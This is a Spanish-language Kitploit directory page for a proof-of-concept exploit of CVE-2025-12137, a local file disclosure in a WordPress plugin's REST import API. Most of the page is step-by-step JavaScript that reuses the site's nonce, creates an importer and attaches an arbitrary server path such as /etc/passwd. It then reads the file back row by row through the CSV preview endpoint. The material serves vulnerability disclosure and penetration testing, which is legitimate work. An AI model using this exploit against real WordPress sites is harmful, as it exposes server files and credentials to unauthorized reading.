Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-12137 — Exploit de prueba de concepto para CVE-2025-12137 que demuestra la divulgación de archivos locales a través de un endpoint de importación de la API REST de un plugin de WordPress. Incluye código JavaScript paso a paso para adjuntar, procesar y previsualizar archivos arbitrarios del servidor. | Kitploit
Herramientas/GitHubGitHub/jfriedli/cve-2025-12137
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebExfiltración de DatosRecopilación de InformaciónPruebas de Penetración
GitHubjfriedli/cve-2025-12137

CVE-2025-12137

Ver Repositorio
hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Exploit de prueba de concepto para CVE-2025-12137 que demuestra la divulgación de archivos locales a través de un endpoint de importación de la API REST de un plugin de WordPress. Incluye código JavaScript paso a paso para adjuntar, procesar y previsualizar archivos arbitrarios del servidor.

Compartir

1) Funcion auxiliar para llamar a la API REST del plugin con el nonce actual

root@kitploit:~
async function iwpFetch(path, method='GET', body) {
  const nonce = window?.wpApiSettings?.nonce || jQuery?.ajaxSettings?.headers?.['X-WP-Nonce'];
  const res = await fetch(`${location.origin}/wordpress/wp-json/iwp/v1${path}`, {
    method,
    headers: { 'Content-Type':'application/json', 'X-WP-Nonce': nonce },
    body: body ? JSON.stringify(body) : undefined,
    credentials: 'same-origin'
  });
  const text = await res.text();
  try { return JSON.parse(text); } catch { return { status: res.ok ? 'S':'E', data: text }; }
}

2) Crear un nuevo importador

root@kitploit:~
const created = await iwpFetch('/importer', 'POST', { name: 'PoC Local File Disclosure' });
const IID = created?.data?.id;

console.log('Importer created', created);

if (!IID) throw new Error('Failed to create importer');

3) Adjuntar un archivo local arbitrario del servidor

(ejemplo: /etc/passwd en Linux)

root@kitploit:~
// Tell the server we’re “attaching” a local file path
const attach = await fetch(`${location.origin}/wordpress/wp-json/iwp/v1/importer/${IID}/upload`, {
  method: 'POST',
  headers: {
    'X-WP-Nonce': (window?.wpApiSettings?.nonce || jQuery?.ajaxSettings?.headers?.['X-WP-Nonce']),
  },
  body: new URLSearchParams({
    action: 'file_local',
    local_url: '/etc/passwd',     // replace with any readable server path
    filetype: 'csv'               // forces CSV pipeline so preview returns raw lines
  }),
  credentials: 'same-origin'
}).then(r => r.json());

console.log('Local file attached', attach);

4) Procesar el “CSV” para inicializar configuración/contador (seguro de re-ejecutar)

root@kitploit:~
const processed = await iwpFetch(`/importer/${IID}/file-process`, 'POST', {
  delimiter: ',', enclosure: '"', escape: '\\'
});

console.log('File processed', processed);

5) Previsualizar el contenido del archivo mediante el endpoint de previsualización CSV

root@kitploit:~
const row0 = await iwpFetch(`/importer/${IID}/file-preview`, 'POST', {
  record: 0,
  delimiter: ',',
  enclosure: '"',
  escape: '\\',
  show_headings: 'false'
});

console.log('Row 0', row0);

const row1 = await iwpFetch(`/importer/${IID}/file-preview`, 'POST', {
  record: 1,
  delimiter: ',',
  enclosure: '"',
  escape: '\\',
  show_headings: 'false'
});

console.log('Row 1', row1);

// Expected:
// row0 / row1 arrays contain split fields from /etc/passwd, e.g.:
// row0.data.row → ["root","x","0","0","root","/root","/usr/bin/zsh"]
Descargar herramienta